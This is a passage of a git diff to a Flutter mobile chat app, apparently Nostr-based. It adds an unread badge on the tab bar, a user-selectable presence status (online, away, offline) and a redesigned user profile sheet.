+        ? context.appColors.topSectionGradient
+        : null;
+
+    return Stack(
+      fit: StackFit.expand,
+      children: [
+        Positioned.fill(
+          child: DecoratedBox(
+            key: const ValueKey('home-settings-transition-backdrop'),
+            decoration: BoxDecoration(
+              color: settingsTransitionGradient == null
+                  ? context.colors.surface
+                  : null,
+              gradient: settingsTransitionGradient,
             ),
-            Align(
-              alignment: Alignment.bottomCenter,
-              child: IgnorePointer(
-                child: MobileTabFooterBackdrop(
-                  height: mobileTabFooterBackdropHeight(context),
-                ),
+          ),
+        ),
+        ValueListenableBuilder<double>(
+          valueListenable: settingsTransitionProgress,
+          child: Scaffold(
+            backgroundColor: Colors.transparent,
+            // Keep the floating navigation and Home quick actions anchored while the
+            // keyboard is visible on any tab.
+            resizeToAvoidBottomInset: false,
+            extendBody: true,
+            body: SizedBox.expand(
+              child: Stack(
+                fit: StackFit.expand,
+                children: [
+                  Positioned.fill(
+                    child: ColoredBox(color: context.colors.surface),
+                  ),
+                  Positioned.fill(
+                    child: MediaQuery(
+                      data: _mediaQueryWithFloatingTabBarClearance(
+                        context,
+                        HomePage._fabClearance,
+                      ),
+                      child: DirectionalTransitionScope(
+                        horizontalOffset:
+                            tabContentTransitionDirection.value *
+                            _tabContentTransitionDistance *
+                            (1 - tabContentTransitionProgress),
+                        opacity: tabContentTransitionProgress,
+                        child: ClipRect(
+                          child: IndexedStack(
+                            index: tabIndex.value,
+                            children: pages,
+                          ),
+                        ),
+                      ),
+                    ),
+                  ),
+                  Align(
+                    alignment: Alignment.bottomCenter,
+                    child: IgnorePointer(
+                      child: MobileTabFooterBackdrop(
+                        height: mobileTabFooterBackdropHeight(context),
+                        tint: context.colors.primaryContainer,
+                      ),
+                    ),
+                  ),
+                  Positioned.fill(
+                    child: ChannelQuickActionsLauncher(
+                      visible: tabIndex.value == 0,
+                      navigationBarHeight: HomePage._tabBarHeight,
+                      navigationBarBottomGap: HomePage._tabBarBottomGap,
+                      navigationBarWidth: navigationBarWidth,
+                      systemBottomInset: systemBottomInset,
+                      rightInset: Grid.sm,
+                    ),
+                  ),
+                ],
               ),
             ),
-            Positioned.fill(
-              child: ChannelQuickActionsLauncher(
-                visible: tabIndex.value == 0,
-                navigationBarHeight: HomePage._tabBarHeight,
-                navigationBarBottomGap: HomePage._tabBarBottomGap,
-                navigationBarWidth: navigationBarWidth,
-                systemBottomInset: systemBottomInset,
-                rightInset: Grid.sm,
-              ),
+            bottomNavigationBar: _FloatingTabBar(
+              selectedIndex: tabIndex.value,
+              hasUnreadInbox: hasUnreadInbox,
+              onDestinationSelected: (i) {
+                if (i == tabIndex.value) {
+                  switch (i) {
+                    case 0:
+                      homeReselection.value++;
+                    case 1:
+                      activityReselection.value++;
+                    case 2:
+                      searchReselection.value++;
+                  }
+                  return;
+                }
+                tabContentTransitionDirection.value = i > tabIndex.value
+                    ? 1
+                    : -1;
+                unawaited(HapticFeedback.selectionClick());
+                tabIndex.value = i;
+                if (reducedMotion) {
+                  tabContentTransitionController.value = 1;
+                } else {
+                  unawaited(tabContentTransitionController.forward(from: 0));
+                }
+              },
+              destinations: _destinations,
             ),
-          ],
+          ),
+          builder: (context, progress, child) {
+            final curvedProgress = reducedMotion
+                ? 0.0
+                : Curves.easeOutCubic.transform(progress);
+            return Opacity(
+              key: const ValueKey('home-settings-transition-opacity'),
+              opacity: 1 - curvedProgress,
+              child: Transform.scale(
+                key: const ValueKey('home-settings-transition-scale'),
+                scale: lerpDouble(1, _settingsBackgroundScale, curvedProgress),
+                alignment: Alignment.center,
+                child: child,
+              ),
+            );
+          },
         ),
-      ),
-      bottomNavigationBar: _FloatingTabBar(
-        selectedIndex: tabIndex.value,
-        onDestinationSelected: (i) {
-          if (i == tabIndex.value) return;
-          unawaited(HapticFeedback.selectionClick());
-          tabIndex.value = i;
-        },
-        destinations: _destinations,
-      ),
+      ],
     );
   }
 }
@@ -165,11 +274,13 @@ class _HomeDestination {
 
 class _FloatingTabBar extends StatelessWidget {
   final int selectedIndex;
+  final bool hasUnreadInbox;
   final ValueChanged<int> onDestinationSelected;
   final List<_HomeDestination> destinations;
 
   const _FloatingTabBar({
     required this.selectedIndex,
+    required this.hasUnreadInbox,
     required this.onDestinationSelected,
     required this.destinations,
   });
@@ -271,6 +382,7 @@ class _FloatingTabBar extends StatelessWidget {
                                 child: _FloatingTabDestination(
                                   destination: destinations[i],
                                   selected: i == safeSelectedIndex,
+                                  showUnreadBadge: i == 1 && hasUnreadInbox,
                                   onTap: () => onDestinationSelected(i),
                                 ),
                               ),
@@ -292,27 +404,37 @@ class _FloatingTabBar extends StatelessWidget {
 class _FloatingTabDestination extends StatelessWidget {
   final _HomeDestination destination;
   final bool selected;
+  final bool showUnreadBadge;
   final VoidCallback onTap;
 
   const _FloatingTabDestination({
     required this.destination,
     required this.selected,
+    required this.showUnreadBadge,
     required this.onTap,
   });
 
   @override
   Widget build(BuildContext context) {
     final colorScheme = context.colors;
+    final isDark = context.theme.brightness == Brightness.dark;
     final reducedMotion = MediaQuery.of(context).disableAnimations;
     final foregroundColor = selected
         ? colorScheme.onPrimaryContainer
         : colorScheme.onSurfaceVariant;
     final icon = selected ? destination.selectedIcon : destination.icon;
+    final badgeOutlineColor = selected
+        ? colorScheme.primaryContainer
+        : (isDark ? colorScheme.surfaceContainerHighest : colorScheme.surface);
+
+    final showVisibleUnreadBadge = showUnreadBadge && !selected;
 
     return Semantics(
       button: true,
       selected: selected,
-      label: destination.label,
+      label: showVisibleUnreadBadge
+          ? '${destination.label}, unread'
+          : destination.label,
       child: Tooltip(
         message: destination.label,
         excludeFromSemantics: true,
@@ -327,19 +449,60 @@ class _FloatingTabDestination extends StatelessWidget {
             ),
             borderRadius: BorderRadius.circular(HomePage._selectedTabRadius),
             child: Center(
-              child: AnimatedSwitcher(
-                duration: reducedMotion
-                    ? Duration.zero
-                    : HomePage._tabIconWeightDuration,
-                switchInCurve: Curves.easeOutCubic,
-                switchOutCurve: Curves.easeOutCubic,
-                transitionBuilder: (child, animation) =>
-                    FadeTransition(opacity: animation, child: child),
-                child: Icon(
-                  icon,
-                  key: ValueKey('${destination.label}-$icon'),
-                  color: foregroundColor,
-                  size: HomePage._tabIconSize,
+              child: SizedBox(
+                width: HomePage._tabIconSize + 8,
+                height: HomePage._tabIconSize + 8,
+                child: Stack(
+                  clipBehavior: Clip.none,
+                  children: [
+                    Center(
+                      child: AnimatedSwitcher(
+                        duration: reducedMotion
+                            ? Duration.zero
+                            : HomePage._tabIconWeightDuration,
+                        switchInCurve: Curves.easeOutCubic,
+                        switchOutCurve: Curves.easeOutCubic,
+                        transitionBuilder: (child, animation) =>
+                            FadeTransition(opacity: animation, child: child),
+                        child: Icon(
+                          icon,
+                          key: ValueKey('${destination.label}-$icon'),
+                          color: foregroundColor,
+                          size: HomePage._tabIconSize,
+                        ),
+                      ),
+                    ),
+                    if (showUnreadBadge)
+                      Positioned(
+                        top: 0,
+                        right: 0,
+                        child: AnimatedScale(
+                          key: const ValueKey('activity-tab-unread-dot-scale'),
+                          scale: selected ? 0 : 1,
+                          alignment: const Alignment(-0.5, 0.5),
+                          duration: reducedMotion
+                              ? Duration.zero
+                              : HomePage._tabUnreadBadgeDuration,
+                          curve: Curves.easeOutCubic,
+                          child: Container(
+                            key: const ValueKey('activity-tab-unread-dot'),
+                            width: 12,
+                            height: 12,
+                            padding: const EdgeInsets.all(2),
+                            decoration: BoxDecoration(
+                              color: badgeOutlineColor,
+                              shape: BoxShape.circle,
+                            ),
+                            child: DecoratedBox(
+                              decoration: BoxDecoration(
+                                color: colorScheme.primary,
+                                shape: BoxShape.circle,
+                              ),
+                            ),
+                          ),
+                        ),
+                      ),
+                  ],
                 ),
               ),
             ),
diff --git a/mobile/lib/features/invites/invite_join_sheet.dart b/mobile/lib/features/invites/invite_join_sheet.dart
index a88d38ac16..b0e0cb6f7b 100644
--- a/mobile/lib/features/invites/invite_join_sheet.dart
+++ b/mobile/lib/features/invites/invite_join_sheet.dart
@@ -4,11 +4,12 @@ import 'package:lucide_icons_flutter/lucide_icons.dart';
 
 import '../../shared/theme/theme.dart';
 import '../../shared/widgets/buzz_loading_indicator.dart';
+import '../../shared/widgets/modal_presentation.dart';
 import '../pairing/pairing_page.dart';
 import 'invite_join_provider.dart';
 
 Future<void> showInviteJoinSheet(BuildContext context, WidgetRef ref) {
-  return showModalBottomSheet<void>(
+  return showBuzzModalBottomSheet<void>(
     context: context,
     isScrollControlled: true,
     showDragHandle: true,
diff --git a/mobile/lib/features/profile/profile_avatar.dart b/mobile/lib/features/profile/profile_avatar.dart
index fb60fae125..087cc909aa 100644
--- a/mobile/lib/features/profile/profile_avatar.dart
+++ b/mobile/lib/features/profile/profile_avatar.dart
@@ -8,7 +8,7 @@ import 'profile_provider.dart';
 import 'user_profile.dart';
 
 /// Matches desktop's sidebar profile card, whose avatar is 32px.
-const _avatarSize = 32.0;
+const _defaultAvatarSize = 32.0;
 
 /// The visible dot is smaller than the notch it sits in, so a ring of
 /// background separates it from the avatar. Desktop's `h-2 w-2` dot inside a
@@ -24,7 +24,15 @@ class ProfileAvatar extends ConsumerWidget {
   final VoidCallback? onTap;
   final bool showPresence;
 
-  const ProfileAvatar({super.key, this.onTap, this.showPresence = true});
+  /// The avatar diameter in logical pixels; defaults to the 32px desktop match.
+  final double size;
+
+  const ProfileAvatar({
+    super.key,
+    this.onTap,
+    this.showPresence = true,
+    this.size = _defaultAvatarSize,
+  });
 
   @override
   Widget build(BuildContext context, WidgetRef ref) {
@@ -45,7 +53,7 @@ class ProfileAvatar extends ConsumerWidget {
 
   Widget _buildPlaceholder(BuildContext context) {
     return CircleAvatar(
-      radius: _avatarSize / 2,
+      radius: size / 2,
       backgroundColor: context.colors.primaryContainer,
     );
   }
@@ -58,7 +66,7 @@ class ProfileAvatar extends ConsumerWidget {
     return GestureDetector(
       onTap: onTap,
       child: MaskedAvatarBadge(
-        size: _avatarSize,
+        size: size,
         geometry: AvatarBadgeMaskGeometry.presenceDot,
         avatar: ClipOval(
           child: ColoredBox(
diff --git a/mobile/lib/features/profile/profile_provider.dart b/mobile/lib/features/profile/profile_provider.dart
index 280ce75e4f..66fceebb27 100644
--- a/mobile/lib/features/profile/profile_provider.dart
+++ b/mobile/lib/features/profile/profile_provider.dart
@@ -4,6 +4,7 @@ import 'package:flutter/widgets.dart';
 import 'package:hooks_riverpod/hooks_riverpod.dart';
 
 import '../../shared/relay/relay.dart';
+import '../../shared/theme/theme.dart';
 import 'user_profile.dart';
 
 /// The current user's profile (kind:0 metadata) loaded over the relay
@@ -50,13 +51,26 @@ final profileProvider = AsyncNotifierProvider<ProfileNotifier, UserProfile?>(
 /// [appLifecycleProvider] to send "away" when backgrounded.
 class PresenceNotifier extends AsyncNotifier<String> {
   static const _heartbeatInterval = Duration(seconds: 60);
+  static const _preferenceKeyPrefix = 'buzz_presence_preference_';
 
   Timer? _heartbeatTimer;
+  String? _preferencePubkey;
+  String? _manualPresence;
 
   @override
   Future<String> build() {
     ref.watch(relaySessionProvider);
-    ref.watch(profileProvider);
+    final pubkey = ref.watch(myPubkeyProvider)?.toLowerCase();
+
+    if (_preferencePubkey != pubkey) {
+      _preferencePubkey = pubkey;
+      final stored = pubkey == null
+          ? null
+          : ref
+                .read(savedPrefsProvider)
+                .getString('$_preferenceKeyPrefix$pubkey');
+      _manualPresence = stored == 'away' || stored == 'offline' ? stored : null;
+    }
 
     final lifecycle = ref.watch(appLifecycleProvider);
 
@@ -65,6 +79,13 @@ class PresenceNotifier extends AsyncNotifier<String> {
       _heartbeatTimer = null;
     });
 
+    final manualPresence = _manualPresence;
+    if (manualPresence != null) {
+      _heartbeatTimer?.cancel();
+      _heartbeatTimer = null;
+      return _setPresence(manualPresence);
+    }
+
     if (lifecycle == AppLifecycleState.resumed) {
       _startHeartbeat();
       return _setPresence('online');
@@ -87,6 +108,33 @@ class PresenceNotifier extends AsyncNotifier<String> {
     });
   }
 
+  /// Updates the current user's presence preference and publishes it.
+  ///
+  /// Online restores automatic lifecycle-driven presence. Away and Offline
+  /// remain selected until the user chooses another value.
+  Future<void> setPresence(String status) async {
+    if (status != 'online' && status != 'away' && status != 'offline') return;
+
+    _manualPresence = status == 'online' ? null : status;
+    final pubkey = ref.read(myPubkeyProvider)?.toLowerCase();
+    if (pubkey != null) {
+      await ref
+          .read(savedPrefsProvider)
+          .setString('$_preferenceKeyPrefix$pubkey', _manualPresence ?? 'auto');
+    }
+
+    if (_manualPresence == null &&
+        ref.read(appLifecycleProvider) == AppLifecycleState.resumed) {
+      _startHeartbeat();
+    } else {
+      _heartbeatTimer?.cancel();
+      _heartbeatTimer = null;
+    }
+
+    state = AsyncData(status);
+    await _setPresence(status);
+  }
+
   /// Publish a kind:20001 presence event. Returns the requested status
   /// optimistically — failures are silently absorbed and the next heartbeat
   /// will retry.
diff --git a/mobile/lib/features/profile/set_status_sheet.dart b/mobile/lib/features/profile/set_status_sheet.dart
index 2e03e4c110..7419548b62 100644
--- a/mobile/lib/features/profile/set_status_sheet.dart
+++ b/mobile/lib/features/profile/set_status_sheet.dart
@@ -9,6 +9,7 @@ import '../../shared/custom_emoji/custom_emoji.dart';
 import '../../shared/custom_emoji/custom_emoji_provider.dart';
 import '../../shared/custom_emoji/custom_emoji_render.dart';
 import '../../shared/theme/theme.dart';
+import '../../shared/widgets/modal_presentation.dart';
 import '../channels/emoji_picker.dart';
 import 'user_status.dart';
 import 'user_status_provider.dart';
@@ -21,7 +22,7 @@ const _emojiGlyphSize = 32.0;
 const _saveButtonHeight = 52.0;
 
 void showSetStatusSheet(BuildContext context, {UserStatus? currentStatus}) {
-  showModalBottomSheet<void>(
+  showBuzzModalBottomSheet<void>(
     context: context,
     isScrollControlled: true,
     showDragHandle: true,
diff --git a/mobile/lib/features/profile/settings_profile_header.dart b/mobile/lib/features/profile/settings_profile_header.dart
index 23816ccaa9..d33e0ce2f7 100644
--- a/mobile/lib/features/profile/settings_profile_header.dart
+++ b/mobile/lib/features/profile/settings_profile_header.dart
@@ -1,3 +1,5 @@
+import 'dart:async';
+
 import 'package:flutter/material.dart';
 import 'package:hooks_riverpod/hooks_riverpod.dart';
 import 'package:lucide_icons_flutter/lucide_icons.dart';
@@ -6,6 +8,7 @@ import '../../shared/custom_emoji/custom_emoji_provider.dart';
 import '../../shared/custom_emoji/custom_emoji_render.dart';
 import '../../shared/theme/theme.dart';
 import '../../shared/widgets/avatar_image.dart';
+import '../../shared/widgets/anchored_popover_menu.dart';
 import '../../shared/widgets/masked_avatar_badge.dart';
 import 'profile_provider.dart';
 import 'set_status_sheet.dart';
@@ -26,12 +29,13 @@ class SettingsProfileHeader extends ConsumerWidget {
     final profile = ref.watch(profileProvider).asData?.value;
     final status = ref.watch(userStatusProvider).asData?.value;
     final hasStatus = status != null && !status.isEmpty;
+    final presence = ref.watch(presenceProvider).value ?? 'offline';
 
     void openStatusSheet() =>
         showSetStatusSheet(context, currentStatus: status);
 
     return Padding(
-      padding: const EdgeInsets.only(top: Grid.xxs, bottom: Grid.sm),
+      padding: const EdgeInsets.only(top: Grid.sm, bottom: Grid.sm),
       child: Column(
         children: [
           MaskedAvatarBadge(
@@ -59,8 +63,8 @@ class SettingsProfileHeader extends ConsumerWidget {
             style: context.textTheme.titleMedium,
             textAlign: TextAlign.center,
           ),
-          // No placeholder copy — the badge is the affordance, so this line
-          // appears only once there is an actual status to show.
+          // Keep the status text visible even when no emoji is set. NIP-38
+          // permits text-only statuses, which the avatar badge cannot represent.
           if (hasStatus)
             GestureDetector(
               onTap: openStatusSheet,
@@ -82,12 +86,154 @@ class SettingsProfileHeader extends ConsumerWidget {
                 ),
               ),
             ),
+          _PresencePill(
+            presence: presence,
+            onSelected: (nextPresence) => unawaited(
+              ref.read(presenceProvider.notifier).setPresence(nextPresence),
+            ),
+          ),
         ],
       ),
     );
   }
 }
 
+class _PresencePill extends StatelessWidget {
+  const _PresencePill({required this.presence, required this.onSelected});
+
+  final String presence;
+  final ValueChanged<String> onSelected;
+
+  @override
+  Widget build(BuildContext context) {
+    final effectivePresence = switch (presence) {
+      'online' || 'away' => presence,
+      _ => 'offline',
+    };
+    final (backgroundColor, foregroundColor) = switch (effectivePresence) {
+      'online' => (
+        context.appColors.success.withValues(alpha: 0.15),
+        context.appColors.success,
+      ),
+      'away' => (
+        context.appColors.warning.withValues(alpha: 0.15),
+        context.appColors.warning,
+      ),
+      _ => (
+        context.colors.onSurfaceVariant.withValues(alpha: 0.15),
+        context.colors.onSurfaceVariant,
+      ),
+    };
+    final label = _presenceLabel(effectivePresence);
+
+    return Builder(
+      builder: (buttonContext) => Semantics(
+        button: true,
+        label: 'Presence: $label',
+        child: SizedBox(
+          key: const ValueKey('settings-presence-target'),
+          height: Grid.xl,
+          child: Material(
+            color: Colors.transparent,
+            child: InkWell(
+              key: const ValueKey('settings-presence-menu'),
+              borderRadius: BorderRadius.circular(Radii.full),
+              onTap: () async {
+                final selected = await showAnchoredPopover<String>(
+                  context: buttonContext,
+                  width: 176,
+                  alignment: AnchoredPopoverAlignment.center,
+                  offset: const Offset(0, Grid.half),
+                  menuPadding: const EdgeInsets.symmetric(vertical: Grid.half),
+                  surfaceKey: const ValueKey('settings-presence-popover'),
+                  items: [
+                    for (final option in const ['online', 'away', 'offline'])
+                      PopupMenuItem<String>(
+                        key: ValueKey('settings-presence-$option'),
+                        value: option,
+                        height: Grid.xl,
+                        padding: const EdgeInsets.symmetric(
+                          horizontal: Grid.twelve,
+                        ),
+                        child: Row(
+                          children: [
+                            Container(
+                              width: 10,
+                              height: 10,
+                              decoration: BoxDecoration(
+                                color: _presenceColor(context, option),
+                                shape: BoxShape.circle,
+                              ),
+                            ),
+                            const SizedBox(width: Grid.xxs),
+                            Expanded(
+                              child: Text(
+                                _presenceLabel(option),
+                                style: filterChipTextStyle.copyWith(
+                                  color: context.colors.onSurface,
+                                  fontWeight: option == effectivePresence
+                                      ? FontWeight.w500
+                                      : FontWeight.w400,
+                                ),
+                              ),
+                            ),
+                            if (option == effectivePresence)
+                              Icon(
+                                LucideIcons.check,
+                                size: 16,
+                                color: context.colors.primary,
+                              ),
+                          ],
+                        ),
+                      ),
+                  ],
+                );
+                if (buttonContext.mounted && selected != null) {
+                  onSelected(selected);
+                }
+              },
+              child: Center(
+                child: Material(
+                  key: const ValueKey('settings-presence-pill'),
+                  color: backgroundColor,
+                  borderRadius: BorderRadius.circular(Radii.full),
+                  child: Padding(
+                    padding: const EdgeInsets.symmetric(
+                      horizontal: Grid.xs,
+                      vertical: Grid.xxs,
+                    ),
+                    child: Text(
+                      label,
+                      key: const ValueKey('settings-presence-label'),
+                      style: filterChipTextStyle.copyWith(
+                        color: foregroundColor,
+                        fontWeight: FontWeight.w500,
+                      ),
+                    ),
+                  ),
+                ),
+              ),
+            ),
+          ),
+        ),
+      ),
+    );
+  }
+}
+
+String _presenceLabel(String presence) => switch (presence) {
+  'online' => 'Online',
+  'away' => 'Away',
+  _ => 'Offline',
+};
+
+Color _presenceColor(BuildContext context, String presence) =>
+    switch (presence) {
+      'online' => context.appColors.success,
+      'away' => context.appColors.warning,
+      _ => context.colors.outline,
+    };
+
 /// Fills the notch left by [MaskedAvatarBadge], so its size comes from the mask
 /// geometry rather than being set here.
 class _StatusBadge extends StatelessWidget {
diff --git a/mobile/lib/features/profile/user_profile_sheet.dart b/mobile/lib/features/profile/user_profile_sheet.dart
index bce99dc840..9700c69ba1 100644
--- a/mobile/lib/features/profile/user_profile_sheet.dart
+++ b/mobile/lib/features/profile/user_profile_sheet.dart
@@ -1,28 +1,40 @@
+import 'dart:async';
+
 import 'package:flutter/material.dart';
+import 'package:flutter/services.dart';
 import 'package:flutter_hooks/flutter_hooks.dart';
 import 'package:hooks_riverpod/hooks_riverpod.dart';
 import 'package:lucide_icons_flutter/lucide_icons.dart';
 
-import '../../shared/clipboard_utils.dart';
 import '../../shared/relay/relay.dart';
 import '../../shared/theme/theme.dart';
-import '../../shared/widgets/avatar_image.dart';
 import '../../shared/utils/string_utils.dart';
+import '../../shared/widgets/avatar_image.dart';
+import '../../shared/widgets/buzz_loading_indicator.dart';
+import '../../shared/widgets/modal_presentation.dart';
+import '../channels/channel.dart';
 import '../channels/channel_detail_page.dart';
 import '../channels/channel_management_provider.dart';
+import '../channels/message_content.dart';
 import 'presence_cache_provider.dart';
 import 'user_cache_provider.dart';
 import 'user_status_cache_provider.dart';
-import '../channels/message_content.dart';
 
 /// Show a user profile bottom sheet for the given [pubkey].
 void showUserProfileSheet(BuildContext context, String pubkey) {
-  showModalBottomSheet<void>(
+  showBuzzModalBottomSheet<Channel>(
     context: context,
     isScrollControlled: true,
-    showDragHandle: true,
+    showDragHandle: false,
     builder: (_) => UserProfileSheet(pubkey: pubkey),
-  );
+  ).then((channel) {
+    if (channel == null || !context.mounted) return;
+    Navigator.of(context).push(
+      MaterialPageRoute<void>(
+        builder: (_) => ChannelDetailPage(channel: channel),
+      ),
+    );
+  });
 }
 
 class UserProfileSheet extends HookConsumerWidget {
@@ -66,6 +78,8 @@ class UserProfileSheet extends HookConsumerWidget {
       ref.read(userCacheProvider.notifier).preload([pk]);
       return null;
     }, [pk]);
+    final copied = useState(false);
+    final isOpeningDirectMessage = useState(false);
 
     final displayName = profile?.displayName;
     final avatarUrl = profile?.avatarUrl;
@@ -73,266 +87,341 @@ class UserProfileSheet extends HookConsumerWidget {
     final initial =
         profile?.initial ?? (pubkey.isNotEmpty ? pubkey[0].toUpperCase() : '?');
 
-    final presenceColor = switch (presence) {
-      'online' => context.appColors.success,
-      'away' => context.appColors.warning,
-      _ => context.colors.outline,
-    };
-    final presenceLabel = switch (presence) {
-      'online' => 'Online',
-      'away' => 'Away',
-      _ => 'Offline',
-    };
+    Future<void> copyPublicKey() async {
+      await Clipboard.setData(ClipboardData(text: pubkey));
+      if (!context.mounted) return;
+      copied.value = true;
+      _showProfileCopyToast(context);
+      unawaited(
+        Future<void>.delayed(const Duration(seconds: 2), () {
+          if (context.mounted) copied.value = false;
+        }),
+      );
+    }
 
-    return SizedBox(
-      width: double.infinity,
-      child: Padding(
-        padding: EdgeInsets.fromLTRB(
-          Grid.sm,
-          0,
-          Grid.sm,
-          MediaQuery.viewInsetsOf(context).bottom,
-        ),
-        child: ConstrainedBox(
-          constraints: BoxConstraints(
-            maxHeight: MediaQuery.sizeOf(context).height * 0.7,
-          ),
-          child: SingleChildScrollView(
-            padding: const EdgeInsets.only(bottom: Grid.xs),
-            child: Column(
-              mainAxisSize: MainAxisSize.min,
-              crossAxisAlignment: CrossAxisAlignment.start,
-              children: [
-                // Avatar — near full-width
-                _ProfileAvatar(avatarUrl: avatarUrl, initial: initial),
-                const SizedBox(height: Grid.xs),
-
-                // Display name — centered, large
-                Center(
-                  child: Text(
-                    displayName ?? shortPubkey(pubkey),
-                    style: context.textTheme.headlineSmall?.copyWith(
-                      fontWeight: FontWeight.w700,
-                    ),
-                  ),
-                ),
+    Future<void> openDirectMessage() async {
+      if (isOpeningDirectMessage.value) return;
+      isOpeningDirectMessage.value = true;
+      try {
+        final channel = await ref
+            .read(channelActionsProvider)
+            .openDm(pubkeys: [pk]);
+        if (!context.mounted) return;
+        Navigator.of(context).pop(channel);
+      } catch (_) {
+        // Silently fail — user tapped but DM open failed.
+        if (context.mounted) isOpeningDirectMessage.value = false;
+      }
+    }
 
-                // NIP-05 handle — centered, secondary
-                if (nip05 != null && nip05.isNotEmpty) ...[
-                  const SizedBox(height: Grid.half),
-                  Center(
-                    child: Text(
-                      nip05,
-                      style: context.textTheme.bodyMedium?.copyWith(
-                        color: context.colors.onSurfaceVariant,
+    return ConstrainedBox(
+      constraints: BoxConstraints(
+        maxHeight: MediaQuery.sizeOf(context).height * 0.7,
+      ),
+      child: Column(
+        mainAxisSize: MainAxisSize.min,
+        crossAxisAlignment: CrossAxisAlignment.stretch,
+        children: [
+          Flexible(
+            child: Padding(
+              padding: EdgeInsets.fromLTRB(
+                Grid.gutter,
+                0,
+                Grid.gutter,
+                MediaQuery.viewInsetsOf(context).bottom,
+              ),
+              child: SingleChildScrollView(
+                padding: const EdgeInsets.only(bottom: Grid.xs),
+                child: Column(
+                  mainAxisSize: MainAxisSize.min,
+                  crossAxisAlignment: CrossAxisAlignment.start,
+                  children: [
+                    // Center the presence chip on the avatar's lower edge.
+                    Padding(
+                      padding: const EdgeInsets.only(bottom: Grid.xl / 2),
+                      child: Stack(
+                        clipBehavior: Clip.none,
+                        children: [
+                          Align(
+                            alignment: Alignment.center,
+                            child: FractionallySizedBox(
+                              widthFactor: 0.5,
+                              child: _ProfileAvatar(
+                                avatarUrl: avatarUrl,
+                                initial: initial,
+                              ),
+                            ),
+                          ),
+                          Positioned(
+                            left: 0,
+                            right: 0,
+                            bottom: -(Grid.xl / 2),
+                            child: _ProfilePresenceChip(presence: presence),
+                          ),
+                        ],
                       ),
                     ),
-                  ),
-                ],
-
-                const SizedBox(height: Grid.xs),
-
-                // Presence row — filled dot, not an outline icon
-                Padding(
-                  padding: const EdgeInsets.symmetric(vertical: Grid.half + 2),
-                  child: Row(
-                    children: [
+                    const SizedBox(height: Grid.half),
+
+                    // Display name — centered, large
+                    Center(
+                      child: Text(
+                        displayName ?? shortPubkey(pubkey),
+                        style: context.textTheme.headlineSmall?.copyWith(
+                          fontWeight: FontWeight.w700,
+                        ),
+                      ),
+                    ),
+                    // Match Settings: status is quiet, centered copy directly
+                    // below the profile name rather than a separate information row.
+                    if (userStatus != null && !userStatus.isEmpty)
                       SizedBox(
-                        width: 24,
-                        child: Center(
-                          child: Container(
-                            width: 10,
-                            height: 10,
-                            decoration: BoxDecoration(
-                              color: presenceColor,
-                              shape: BoxShape.circle,
+                        width: double.infinity,
+                        child: Padding(
+                          padding: const EdgeInsets.only(
+                            top: Grid.xxs,
+                            left: Grid.gutter,
+                            right: Grid.gutter,
+                            bottom: Grid.xxs,
+                          ),
+                          child: MessageContent(
+                            content: userStatus.text.isNotEmpty
+                                ? '${userStatus.emoji.isNotEmpty ? '${userStatus.emoji} ' : ''}${userStatus.text}'
+                                : userStatus.emoji,
+                            baseStyle: context.textTheme.bodySmall?.copyWith(
+                              color: context.colors.onSurfaceVariant,
                             ),
+                            textAlign: TextAlign.center,
+                            maxLines: 2,
                           ),
                         ),
                       ),
-                      const SizedBox(width: Grid.xxs),
-                      Text(
-                        presenceLabel,
-                        style: context.textTheme.bodyMedium?.copyWith(
-                          color: context.colors.onSurface,
+
+                    // NIP-05 handle — centered, secondary
+                    if (nip05 != null && nip05.isNotEmpty) ...[
+                      const SizedBox(height: Grid.half),
+                      Center(
+                        child: Text(
+                          nip05,
+                          style: context.textTheme.bodyMedium?.copyWith(
+                            color: context.colors.onSurfaceVariant,
+                          ),
                         ),
                       ),
                     ],
-                  ),
-                ),
-
-                if (userStatus != null && !userStatus.isEmpty)
-                  _InfoRowContent(
-                    icon: LucideIcons.messageCircle,
-                    child: MessageContent(
-                      content:
-                          '${userStatus.emoji.isNotEmpty ? '${userStatus.emoji} ' : ''}${userStatus.text}',
-                    ),
-                  ),
-
-                _InfoRow(
-                  icon: LucideIcons.key,
-                  text: shortPubkey(pubkey),
-                  textStyle: context.textTheme.bodySmall?.copyWith(
-                    color: context.colors.onSurfaceVariant,
-                    fontFamily: 'monospace',
-                  ),
-                  onTap: () async {
-                    await copyToClipboard(
-                      context,
-                      pubkey,
-                      message: 'Public key copied',
-                    );
-                  },
-                ),
 
-                // About / bio section
-                if (about.isNotEmpty) ...[
-                  const SizedBox(height: Grid.xxs),
-                  Divider(
-                    color: context.colors.outlineVariant.withValues(alpha: 0.3),
-                  ),
-                  const SizedBox(height: Grid.xxs),
-                  Text(
-                    'About',
-                    style: context.textTheme.labelSmall?.copyWith(
-                      color: context.colors.onSurfaceVariant,
-                      fontWeight: FontWeight.w600,
-                    ),
-                  ),
-                  const SizedBox(height: Grid.half),
-                  Text(
-                    about,
-                    style: context.textTheme.bodyMedium?.copyWith(
-                      color: context.colors.onSurfaceVariant,
-                    ),
-                  ),
-                ],
-
-                const SizedBox(height: Grid.xs),
-
-                // Action button — Message (hidden on own profile)
-                if (pk != currentPubkey) ...[
-                  SizedBox(
-                    width: double.infinity,
-                    child: FilledButton.icon(
-                      onPressed: () async {
-                        Navigator.of(context).pop();
-                        try {
-                          final channel = await ref
-                              .read(channelActionsProvider)
-                              .openDm(pubkeys: [pk]);
-                          if (!context.mounted) return;
-                          await Navigator.of(context).push(
-                            MaterialPageRoute<void>(
-                              builder: (_) =>
-                                  ChannelDetailPage(channel: channel),
+                    const SizedBox(height: Grid.xs + Grid.half),
+
+                    Row(
+                      children: [
+                        if (pk != currentPubkey) ...[
+                          Expanded(
+                            child: _ProfileActionTile(
+                              icon: isOpeningDirectMessage.value
+                                  ? null
+                                  : LucideIcons.messageSquare,
+                              label: isOpeningDirectMessage.value
+                                  ? 'Opening…'
+                                  : 'Message',
+                              isLoading: isOpeningDirectMessage.value,
+                              onTap: openDirectMessage,
                             ),
-                          );
-                        } catch (_) {
-                          // Silently fail — user tapped but DM open failed.
-                        }
-                      },
-                      icon: const Icon(LucideIcons.messageSquare, size: 18),
-                      label: const Text('Message'),
-                      style: FilledButton.styleFrom(
-                        padding: const EdgeInsets.symmetric(
-                          vertical: Grid.twelve,
+                          ),
+                          const SizedBox(width: Grid.twelve),
+                        ],
+                        Expanded(
+                          child: _ProfileActionTile(
+                            icon: copied.value
+                                ? LucideIcons.check
+                                : LucideIcons.key,
+                            label: copied.value ? 'Copied' : 'Copy public key',
+                            onTap: copyPublicKey,
+                          ),
+                        ),
+                      ],
+                    ),
+                    const SizedBox(height: Grid.xs),
+
+                    // About / bio section
+                    if (about.isNotEmpty) ...[
